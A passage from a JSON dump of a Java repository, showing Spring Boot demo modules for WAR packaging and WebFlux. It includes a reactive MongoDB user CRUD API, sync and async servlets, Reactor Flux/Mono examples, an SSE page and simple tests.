    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_war</artifactId>\n\t<version>1.0</version>\n\t<!-- 若需要打成 war 包，则需要将打包方式改成 war -->\n\t<packaging>war</packaging>\n\n\t<name>springboot_war</name>\n\t<description>Demo project for Spring Boot</description>\n\n\t<parent>\n\t\t<groupId>io.github.wujun728</groupId>\n\t\t<artifactId>jun_springboot_plugin</artifactId>\n\t\t<version>1.0</version>\n\t</parent>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t\t<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n\t\t<java.version>1.8</java.version>\n\t</properties>\n\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-web</artifactId>\n\t\t</dependency>\n\n\t\t<!-- 若需要打成 war 包，则需要将 tomcat 引入，scope 设置为 provided -->\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-tomcat</artifactId>\n\t\t\t<scope>provided</scope>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-test</artifactId>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t</dependencies>\n\n\t<build>\n\t\t<finalName>springboot_war</finalName>\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t\t<artifactId>spring-boot-maven-plugin</artifactId>\n\t\t\t</plugin>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-war-plugin</artifactId>\n\t\t\t\t<version>2.6</version>\n\t\t\t\t<configuration>\n\t\t\t\t\t<failOnMissingWebXml>false</failOnMissingWebXml>\n\t\t\t\t</configuration>\n\t\t\t</plugin>\n\t\t</plugins>\n\t</build>\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_war/src/main/java/com/jun/plugin/springboot/war/SpringBootDemoWarApplication.java",
    "content": "package com.jun.plugin.springboot.war;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\nimport org.springframework.boot.builder.SpringApplicationBuilder;\nimport org.springframework.boot.web.servlet.support.SpringBootServletInitializer;\n\n/**\n * <p>\n * 启动器\n * </p>\n *\n * @package: com.xkcoding.war\n * @description: 启动器\n * @author: shenyangkai\n * @date: Created in 2018/10/30 19:37\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: shenyangkai\n */\n@SpringBootApplication\npublic class SpringBootDemoWarApplication extends SpringBootServletInitializer {\n\n    public static void main(String[] args) {\n        SpringApplication.run(SpringBootDemoWarApplication.class, args);\n    }\n\n    /**\n     * 若需要打成 war 包，则需要写一个类继承 {@link SpringBootServletInitializer} 并重写 {@link SpringBootServletInitializer#configure(SpringApplicationBuilder)}\n     */\n    @Override\n    protected SpringApplicationBuilder configure(SpringApplicationBuilder application) {\n        return application.sources(SpringBootDemoWarApplication.class);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_war/src/main/resources/application.yml",
    "content": "server:\n  port: 8080\n  servlet:\n    context-path: /demo"
  },
  {
    "path": "jun_springboot_plugin/springboot_war/src/test/java/com/jun/plugin/springboot/war/SpringBootDemoWarApplicationTests.java",
    "content": "package com.jun.plugin.springboot.war;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class SpringBootDemoWarApplicationTests {\n\n\t@Test\n\tpublic void contextLoads() {\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_webflux/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_webflux</artifactId>\n\t<version>1.0</version>\n\t<packaging>jar</packaging>\n\n\t<description>Demo project for Spring Boot</description>\n\n\t<parent>\n\t\t<groupId>org.springframework.boot</groupId>\n\t\t<artifactId>spring-boot-starter-parent</artifactId>\n\t\t<version>2.1.2.RELEASE</version>\n\t\t<relativePath/> <!-- lookup parent from repository -->\n\t</parent>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t\t<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n\t\t<java.version>1.8</java.version>\n\t</properties>\n\n\t<dependencies>\n\t\t<dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-webflux</artifactId>\n        </dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-devtools</artifactId>\n\t\t\t<scope>runtime</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-test</artifactId>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t\t<!-- https://mvnrepository.com/artifact/javax.servlet/javax.servlet-api -->\n\t\t<dependency>\n\t\t\t<groupId>javax.servlet</groupId>\n\t\t\t<artifactId>javax.servlet-api</artifactId>\n\t\t\t<version>4.0.1</version>\n\t\t\t<scope>provided</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-data-mongodb-reactive</artifactId>\n\t\t</dependency>\n\t\t<!--<dependency>\n\t\t\t<groupId>org.apache.tomcat.embed</groupId>\n\t\t\t<artifactId>tomcat-embed-core</artifactId>\n\t\t</dependency>-->\n\n\t</dependencies>\n\n\t<build>\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t\t<artifactId>spring-boot-maven-plugin</artifactId>\n\t\t\t</plugin>\n\t\t</plugins>\n\t</build>\n\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_webflux/src/main/java/com/jun/plugin/WebFluxApplication.java",
    "content": "package com.jun.plugin;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n@SpringBootApplication\npublic class WebFluxApplication {\n\n\tpublic static void main(String[] args) {\n\t\tSpringApplication.run(WebFluxApplication.class, args);\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_webflux/src/main/java/com/jun/plugin/asyncservlet/AsyncServlet.java",
    "content": "package com.jun.plugin.asyncservlet;\n\nimport javax.servlet.AsyncContext;\nimport javax.servlet.ServletRequest;\nimport javax.servlet.ServletResponse;\nimport javax.servlet.annotation.WebServlet;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport java.io.IOException;\nimport java.util.concurrent.CompletableFuture;\nimport java.util.concurrent.TimeUnit;\nimport java.util.logging.Logger;\n\n/**\n * @author MrBird\n */\n@WebServlet(urlPatterns = \"/async\", asyncSupported = true)\npublic class AsyncServlet extends HttpServlet {\n    private static final long serialVersionUID = 393375716683413545L;\n\n    private Logger log = Logger.getLogger(AsyncServlet.class.getName());\n\n    @Override\n    protected void doGet(HttpServletRequest request, HttpServletResponse response) {\n        long start = System.currentTimeMillis();\n        AsyncContext asyncContext = request.startAsync();\n\n        CompletableFuture.runAsync(() -> execute(asyncContext, asyncContext.getRequest(), asyncContext.getResponse()));\n        log.info(\"总耗时：\" + (System.currentTimeMillis() - start) + \"ms\");\n    }\n\n    private void execute(AsyncContext asyncContext, ServletRequest request, ServletResponse response) {\n        try {\n            TimeUnit.SECONDS.sleep(2);\n        } catch (InterruptedException e) {\n            e.printStackTrace();\n        }\n        try {\n            response.getWriter().append(\"hello\");\n        } catch (IOException e) {\n            e.printStackTrace();\n        }\n        asyncContext.complete();\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_webflux/src/main/java/com/jun/plugin/asyncservlet/SyncServlet.java",
    "content": "package com.jun.plugin.asyncservlet;\n\nimport javax.servlet.annotation.WebServlet;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport java.io.IOException;\nimport java.util.concurrent.TimeUnit;\nimport java.util.logging.Logger;\n\n/**\n * @author MrBird\n */\n@WebServlet(urlPatterns = \"/sync\")\npublic class SyncServlet extends HttpServlet {\n\n    private static final long serialVersionUID = 7583536145022393360L;\n\n    private Logger log = Logger.getLogger(SyncServlet.class.getName());\n\n    @Override\n    protected void doGet(HttpServletRequest request, HttpServletResponse response) {\n\n        long start = System.currentTimeMillis();\n        this.execute(request, response);\n        log.info(\"总耗时：\" + (System.currentTimeMillis() - start) + \"ms\");\n    }\n\n    private void execute(HttpServletRequest request, HttpServletResponse response) {\n        try {\n            TimeUnit.SECONDS.sleep(2);\n        } catch (InterruptedException e) {\n            e.printStackTrace();\n        }\n        try {\n            response.getWriter().append(\"hello\");\n        } catch (IOException e) {\n            e.printStackTrace();\n        }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_webflux/src/main/java/com/jun/plugin/user/crud/controller/UserController.java",
    "content": "package com.jun.plugin.user.crud.controller;\n\nimport com.jun.plugin.user.crud.domain.User;\nimport com.jun.plugin.user.crud.service.UserService;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.http.HttpStatus;\nimport org.springframework.http.MediaType;\nimport org.springframework.http.ResponseEntity;\nimport org.springframework.web.bind.annotation.*;\nimport reactor.core.publisher.Flux;\nimport reactor.core.publisher.Mono;\n\n/**\n * @author MrBird\n */\n@RestController\n@RequestMapping(\"user\")\npublic class UserController {\n\n    @Autowired\n    private UserService userService;\n\n    /**\n     * 以数组的形式一次性返回所有数据\n     */\n    @GetMapping\n    public Flux<User> getUsers() {\n        return userService.getUsers();\n    }\n\n    /**\n     * 以 Server sent events形式多次返回数据\n     */\n    @GetMapping(value = \"/stream\", produces = MediaType.TEXT_EVENT_STREAM_VALUE)\n    public Flux<User> getUsersStream() {\n        return userService.getUsers();\n    }\n\n    @PostMapping\n    public Mono<User> createUser(User user) {\n        return userService.createUser(user);\n    }\n\n    /**\n     * 存在返回 200，不存在返回 404\n     */\n    @DeleteMapping(\"/{id}\")\n    public Mono<ResponseEntity<Void>> deleteUser(@PathVariable String id) {\n        return userService.deleteUser(id)\n                .then(Mono.just(new ResponseEntity<Void>(HttpStatus.OK)))\n                .defaultIfEmpty(new ResponseEntity<>(HttpStatus.NOT_FOUND));\n    }\n\n    /**\n     * 存在返回修改后的 User\n     * 不存在返回 404\n     */\n    @PutMapping(\"/{id}\")\n    public Mono<ResponseEntity<User>> updateUser(@PathVariable String id, User user) {\n        return userService.updateUser(id, user)\n                .map(u -> new ResponseEntity<>(u, HttpStatus.OK))\n                .defaultIfEmpty(new ResponseEntity<>(HttpStatus.NOT_FOUND));\n    }\n\n    /**\n     * 根据用户 id查找\n     * 存在返回，不存在返回 404\n     */\n    @GetMapping(\"/{id}\")\n    public Mono<ResponseEntity<User>> getUser(@PathVariable String id) {\n        return userService.getUser(id)\n                .map(user -> new ResponseEntity<>(user, HttpStatus.OK))\n                .defaultIfEmpty(new ResponseEntity<>(HttpStatus.NOT_FOUND));\n    }\n\n    /**\n     * 根据年龄段来查找\n     */\n    @GetMapping(\"/age/{from}/{to}\")\n    public Flux<User> getUserByAge(@PathVariable Integer from, @PathVariable Integer to) {\n        return userService.getUserByAge(from, to);\n    }\n\n    @GetMapping(value = \"/stream/age/{from}/{to}\", produces = MediaType.TEXT_EVENT_STREAM_VALUE)\n    public Flux<User> getUserByAgeStream(@PathVariable Integer from, @PathVariable Integer to) {\n        return userService.getUserByAge(from, to);\n    }\n\n    /**\n     * 根据用户名查找\n     */\n    @GetMapping(\"/name/{name}\")\n    public Flux<User> getUserByName(@PathVariable String name) {\n        return userService.getUserByName(name);\n    }\n\n    @GetMapping(value = \"/stream/name/{name}\", produces = MediaType.TEXT_EVENT_STREAM_VALUE)\n    public Flux<User> getUserByNameStream(@PathVariable String name) {\n        return userService.getUserByName(name);\n    }\n\n    /**\n     * 根据用户描述模糊查找\n     */\n    @GetMapping(\"/description/{description}\")\n    public Flux<User> getUserByDescription(@PathVariable String description) {\n        return userService.getUserByDescription(description);\n    }\n\n    @GetMapping(value = \"/stream/description/{description}\", produces = MediaType.TEXT_EVENT_STREAM_VALUE)\n    public Flux<User> getUserByDescriptionStream(@PathVariable String description) {\n        return userService.getUserByDescription(description);\n    }\n\n    /**\n     * 根据多个检索条件查询\n     */\n    @GetMapping(\"/condition\")\n    public Flux<User> getUserByCondition(int size, int page, User user) {\n        return userService.getUserByCondition(size, page, user);\n    }\n\n    @GetMapping(\"/condition/count\")\n    public Mono<Long> getUserByConditionCount(User user) {\n        return userService.getUserByConditionCount(user);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_webflux/src/main/java/com/jun/plugin/user/crud/dao/UserDao.java",
    "content": "package com.jun.plugin.user.crud.dao;\n\nimport com.jun.plugin.user.crud.domain.User;\nimport org.springframework.data.mongodb.repository.ReactiveMongoRepository;\nimport org.springframework.stereotype.Repository;\nimport reactor.core.publisher.Flux;\n\n/**\n * @author MrBird\n */\n@Repository\npublic interface UserDao extends ReactiveMongoRepository<User, String> {\n\n    /**\n     * 根据年龄段来查找\n     *\n     * @param from from\n     * @param to   to\n     * @return Flux<User>\n     */\n    Flux<User> findByAgeBetween(Integer from, Integer to);\n\n    /**\n     * 更具描述来模糊查询用户\n     *\n     * @param description 描述\n     * @return Flux<User>\n     */\n    Flux<User> findByDescriptionIsLike(String description);\n\n    /**\n     * 通过用户名查询\n     *\n     * @param name 用户名\n     * @return Flux<User>\n     */\n    Flux<User> findByNameEquals(String name);\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_webflux/src/main/java/com/jun/plugin/user/crud/domain/User.java",
    "content": "package com.jun.plugin.user.crud.domain;\n\nimport org.springframework.data.annotation.Id;\nimport org.springframework.data.mongodb.core.mapping.Document;\n\n/**\n * @author MrBird\n */\n@Document(collection = \"user\")\npublic class User {\n\n    @Id\n    private String id;\n    private String name;\n    private Integer age;\n    private String description;\n\n    public String getId() {\n        return id;\n    }\n\n    public void setId(String id) {\n        this.id = id;\n    }\n\n    public String getName() {\n        return name;\n    }\n\n    public void setName(String name) {\n        this.name = name;\n    }\n\n    public Integer getAge() {\n        return age;\n    }\n\n    public void setAge(Integer age) {\n        this.age = age;\n    }\n\n    public String getDescription() {\n        return description;\n    }\n\n    public void setDescription(String description) {\n        this.description = description;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_webflux/src/main/java/com/jun/plugin/user/crud/service/UserService.java",
    "content": "package com.jun.plugin.user.crud.service;\n\nimport com.jun.plugin.user.crud.dao.UserDao;\nimport com.jun.plugin.user.crud.domain.User;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.data.domain.PageRequest;\nimport org.springframework.data.domain.Pageable;\nimport org.springframework.data.domain.Sort;\nimport org.springframework.data.mongodb.core.ReactiveMongoTemplate;\nimport org.springframework.data.mongodb.core.query.Criteria;\nimport org.springframework.data.mongodb.core.query.Query;\nimport org.springframework.stereotype.Service;\nimport org.springframework.util.StringUtils;\nimport reactor.core.publisher.Flux;\nimport reactor.core.publisher.Mono;\n\n/**\n * @author MrBird\n */\n@Service\npublic class UserService {\n\n    @Autowired\n    private UserDao userDao;\n    @Autowired\n    private ReactiveMongoTemplate template;\n\n    public Flux<User> getUsers() {\n        return userDao.findAll();\n    }\n\n    public Mono<User> getUser(String id) {\n        return this.userDao.findById(id);\n    }\n\n    /**\n     * 新增和修改都是 save方法，\n     * id 存在为修改，id 不存在为新增\n     */\n    public Mono<User> createUser(User user) {\n        return userDao.save(user);\n    }\n\n    public Mono<Void> deleteUser(String id) {\n        return this.userDao.findById(id)\n                .flatMap(user -> this.userDao.delete(user));\n    }\n\n    public Mono<User> updateUser(String id, User user) {\n        return this.userDao.findById(id)\n                .flatMap(u -> {\n                    u.setName(user.getName());\n                    u.setAge(user.getAge());\n                    u.setDescription(user.getDescription());\n                    return this.userDao.save(u);\n                });\n    }\n\n    public Flux<User> getUserByAge(Integer from, Integer to) {\n        return this.userDao.findByAgeBetween(from, to);\n    }\n\n    public Flux<User> getUserByName(String name) {\n        return this.userDao.findByNameEquals(name);\n    }\n\n    public Flux<User> getUserByDescription(String description) {\n        return this.userDao.findByDescriptionIsLike(description);\n    }\n\n    /**\n     * 分页查询，只返回分页后的数据，count值需要通过 getUserByConditionCount\n     * 方法获取\n     */\n    public Flux<User> getUserByCondition(int size, int page, User user) {\n        Query query = getQuery(user);\n        Sort sort = new Sort(Sort.Direction.DESC, \"age\");\n        Pageable pageable = PageRequest.of(page, size, sort);\n\n        return template.find(query.with(pageable), User.class);\n    }\n\n    /**\n     * 返回 count，配合 getUserByCondition使用\n     */\n    public Mono<Long> getUserByConditionCount(User user) {\n        Query query = getQuery(user);\n        return template.count(query, User.class);\n    }\n\n    private Query getQuery(User user) {\n        Query query = new Query();\n        Criteria criteria = new Criteria();\n\n        if (!StringUtils.isEmpty(user.getName())) {\n            criteria.and(\"name\").is(user.getName());\n        }\n        if (!StringUtils.isEmpty(user.getDescription())) {\n            criteria.and(\"description\").regex(user.getDescription());\n        }\n        query.addCriteria(criteria);\n        return query;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_webflux/src/main/java/com/jun/plugin/web/HelloController.java",
    "content": "package com.jun.plugin.web;\n\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.RestController;\nimport reactor.core.publisher.Mono;\n\n@RestController\npublic class HelloController {\n\n    @GetMapping(\"/hello\")\n    public Mono<String> hello() {\n        return Mono.just(\"Welcome to reactive world ~\");\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_webflux/src/main/java/com/jun/plugin/webflux/FluxTest.java",
    "content": "package com.jun.plugin.webflux;\n\nimport reactor.core.publisher.Flux;\nimport reactor.core.publisher.Mono;\n\nimport java.time.Duration;\nimport java.time.temporal.ChronoUnit;\nimport java.util.ArrayList;\nimport java.util.Random;\n\n/**\n * @author MrBird\n */\npublic class FluxTest {\n\n    public static void main(String[] args) throws InterruptedException {\n        Flux.just(\"Hello\", \"World\").subscribe(System.out::println);\n        Flux.fromArray(new Integer[]{1, 2, 3}).subscribe(System.out::println);\n        Flux.empty().subscribe(System.out::println);\n        Flux.range(1, 4).subscribe(System.out::println);\n        // Flux.interval(Duration.of(1, ChronoUnit.SECONDS)).subscribe(System.out::println);\n\n        Flux.generate(sink -> {\n            sink.next(\"Hello\");\n            sink.complete();\n        }).subscribe(System.out::println);\n\n\n        final Random random = new Random();\n        Flux.generate(ArrayList::new, (list, sink) -> {\n            int value = random.nextInt(100);\n            list.add(value);\n            sink.next(value);\n            if (list.size() == 10) {\n                sink.complete();\n            }\n            return list;\n        }).subscribe(System.out::println);\n\n        Flux.create(sink -> {\n            for (int i = 0; i < 10; i++) {\n                sink.next(i);\n            }\n            sink.complete();\n        }).subscribe(System.out::println);\n\n        Flux.range(1, 10).filter(i -> i % 2 == 0).subscribe(System.out::println);\n\n        Flux.range(1, 20).take(10).subscribe(System.out::println);\n        Flux.range(1, 20).takeLast(10).subscribe(System.out::println);\n        Flux.range(1, 20).takeWhile(i -> i < 10).subscribe(System.out::println);\n        Flux.range(1, 20).takeUntil(i -> i == 10).subscribe(System.out::println);\n\n        Flux.range(1, 10).reduce((x, y) -> x + y).subscribe(System.out::println);\n        Flux.range(1, 10).reduceWith(() -> 10, (x, y) -> x + y).subscribe(System.out::println);\n\n        Flux.merge(\n                Flux.interval(Duration.of(500, ChronoUnit.MILLIS)).take(2),\n                Flux.interval(Duration.of(500, ChronoUnit.MILLIS)).take(2)\n        ).toStream().forEach(System.out::println);\n\n        Flux.range(1, 100).buffer(20).subscribe(System.out::println);\n\n        Flux.range(1, 10).bufferUntil(i -> i % 2 == 0).subscribe(System.out::println);\n        Flux.range(1, 10).bufferWhile(i -> i % 2 == 0).subscribe(System.out::println);\n\n        Flux.just(\"a\", \"b\", \"c\", \"d\")\n                .zipWith(Flux.just(\"e\", \"f\", \"g\", \"h\", \"i\"))\n                .subscribe(System.out::println);\n\n        Flux.just(\"a\", \"b\", \"c\", \"d\")\n                .zipWith(Flux.just(\"e\", \"f\", \"g\", \"h\", \"i\"), (s1, s2) -> String.format(\"%s-%s\", s1, s2))\n                .subscribe(System.out::println);\n\n\n        Flux.just(1, 2)\n                .concatWith(Mono.error(new IllegalStateException()))\n                .subscribe(System.out::println, System.err::println);\n\n        Flux.just(1, 2)\n                .concatWith(Mono.error(new IllegalStateException()))\n                .onErrorReturn(0)\n                .subscribe(System.out::println);\n\n\n        Flux.just(1, 2)\n                .concatWith(Mono.error(new IllegalArgumentException()))\n                .onErrorResume(e -> {\n                    if (e instanceof IllegalStateException) {\n                        return Mono.just(0);\n                    } else if (e instanceof IllegalArgumentException) {\n                        return Mono.just(-1);\n                    }\n                    return Mono.empty();\n                }).subscribe(System.out::println);\n\n        Thread.currentThread().join(20000);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_webflux/src/main/java/com/jun/plugin/webflux/MonoFluxTest.java",
    "content": "package com.jun.plugin.webflux;\n\nimport java.util.concurrent.TimeUnit;\n\nimport org.reactivestreams.Subscriber;\nimport org.reactivestreams.Subscription;\n\nimport reactor.core.publisher.Flux;\nimport reactor.core.publisher.Mono;\n\npublic class MonoFluxTest {\n\n    public static void main(String[] args) {\n        Subscriber<Integer> subscriber = new Subscriber<Integer>() {\n            private Subscription subscription;\n\n            @Override\n            public void onSubscribe(Subscription subscription) {\n                this.subscription = subscription;\n                this.subscription.request(1);\n            }\n\n            @Override\n            public void onNext(Integer item) {\n                System.out.println(\"接受到数据: \" + item);\n                try {\n                    TimeUnit.SECONDS.sleep(3);\n                } catch (InterruptedException e) {\n                    e.printStackTrace();\n                }\n                this.subscription.request(1);\n            }\n\n            @Override\n            public void onError(Throwable throwable) {\n                throwable.printStackTrace();\n                this.subscription.cancel();\n            }\n\n            @Override\n            public void onComplete() {\n                System.out.println(\"处理完了!\");\n            }\n\n        };\n\n        String[] strs = {\"1\", \"2\", \"3\"};\n        Flux.fromArray(strs).map(Integer::parseInt).subscribe(subscriber);\n        Mono.fromSupplier(() -> 1).map(s -> s + 1).subscribe(subscriber);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_webflux/src/main/java/com/jun/plugin/webflux/MonoTest.java",
    "content": "package com.jun.plugin.webflux;\n\nimport reactor.core.publisher.Mono;\n\nimport java.util.Optional;\n\n/**\n * @author MrBird\n */\npublic class MonoTest {\n\n    public static void main(String[] args) {\n        Mono.just(\"are\").subscribe(System.out::println);\n        Mono.empty().subscribe(System.out::println);\n        Mono.fromSupplier(() -> \"you\").subscribe(System.out::println);\n        Mono.justOrEmpty(Optional.of(\"ok\")).subscribe(System.out::println);\n\n        Mono.create(sink -> sink.success(\"Hello\")).subscribe(System.out::println);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_webflux/src/main/java/com/jun/plugin/webflux/TestController.java",
    "content": "package com.jun.plugin.webflux;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.http.MediaType;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.RestController;\nimport reactor.core.publisher.Flux;\nimport reactor.core.publisher.Mono;\n\nimport java.util.concurrent.TimeUnit;\nimport java.util.stream.IntStream;\n\n/**\n * @author MrBird\n */\n@RestController\npublic class TestController {\n    // Mono 表示 0-1 个元素，Flux 0-N 个元素\n\n\n    private Logger logger = LoggerFactory.getLogger(this.getClass());\n\n    @GetMapping(\"sync\")\n    public String sync() {\n        logger.info(\"sync method start\");\n        String result = this.execute();\n        logger.info(\"sync method end\");\n        return result;\n    }\n\n    @GetMapping(\"async/mono\")\n    public Mono<String> asyncMono() {\n        logger.info(\"async method start\");\n        Mono<String> result = Mono.fromSupplier(this::execute);\n        logger.info(\"async method end\");\n        return result;\n    }\n\n    // SSE(Server Sent Event)\n    // https://developer.mozilla.org/zh-CN/docs/Server-sent_events/Using_server-sent_events\n    // http://www.ruanyifeng.com/blog/2017/05/server-sent_events.html\n    @GetMapping(value = \"async/flux\", produces = MediaType.TEXT_EVENT_STREAM_VALUE)\n    public Flux<String> asyncFlux() {\n        logger.info(\"async method start\");\n        Flux<String> result = Flux.fromStream(IntStream.range(1, 5).mapToObj(i -> {\n            try {\n                TimeUnit.SECONDS.sleep(1);\n            } catch (InterruptedException e) {\n                e.printStackTrace();\n            }\n            return \"int value：\" + i;\n        }));\n        logger.info(\"async method end\");\n        return result;\n    }\n\n    private String execute() {\n        try {\n            TimeUnit.SECONDS.sleep(2);\n        } catch (InterruptedException e) {\n            e.printStackTrace();\n        }\n        return \"hello\";\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_webflux/src/main/java/com/jun/plugin/webflux/ViewController.java",
    "content": "package com.jun.plugin.webflux;\n\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.GetMapping;\n\n/**\n * @author MrBird\n */\n@Controller\npublic class ViewController {\n\n    @GetMapping(\"flux\")\n    public String flux() {\n        return \"flux\";\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_webflux/src/main/java/com/jun/plugin/webflux/WebfluxApplication.java",
    "content": "package com.jun.plugin.webflux;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n@SpringBootApplication\npublic class WebfluxApplication {\n\n    public static void main(String[] args) {\n        SpringApplication.run(WebfluxApplication.class, args);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_webflux/src/main/resources/application.properties",
    "content": ""
  },
  {
    "path": "jun_springboot_plugin/springboot_webflux/src/main/resources/application.yml",
    "content": "\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_webflux/src/main/resources/templates/flux.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"UTF-8\">\n    <title>test sse</title>\n</head>\n<body>\n</body>\n<script>\n    var es = new EventSource(\"async/flux\");\n    es.onmessage = function (evt) {\n        console.log(evt.data);\n        if (evt.data === \"int value：4\") {\n            es.close();\n        }\n    };\n</script>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_webflux/src/test/java/com/jun/plugin/HelloTests.java",
    "content": "package com.jun.plugin;\n\nimport com.jun.plugin.web.HelloController;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.test.autoconfigure.web.reactive.WebFluxTest;\nimport org.springframework.test.context.junit4.SpringRunner;\nimport org.springframework.test.web.reactive.server.WebTestClient;\n\n@RunWith(SpringRunner.class)\n@WebFluxTest(controllers = HelloController.class)\npublic class HelloTests {\n    @Autowired\n    WebTestClient client;\n\n    @Test\n    public void getHello() {\n        client.get().uri(\"/hello\").exchange().expectStatus().isOk();\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_webflux/src/test/java/com/jun/plugin/WebFluxApplicationTests.java",
    "content": "package com.jun.plugin;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class WebFluxApplicationTests {\n\n\t@Test\n\tpublic void contextLoads() {\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_webservice/README.md",
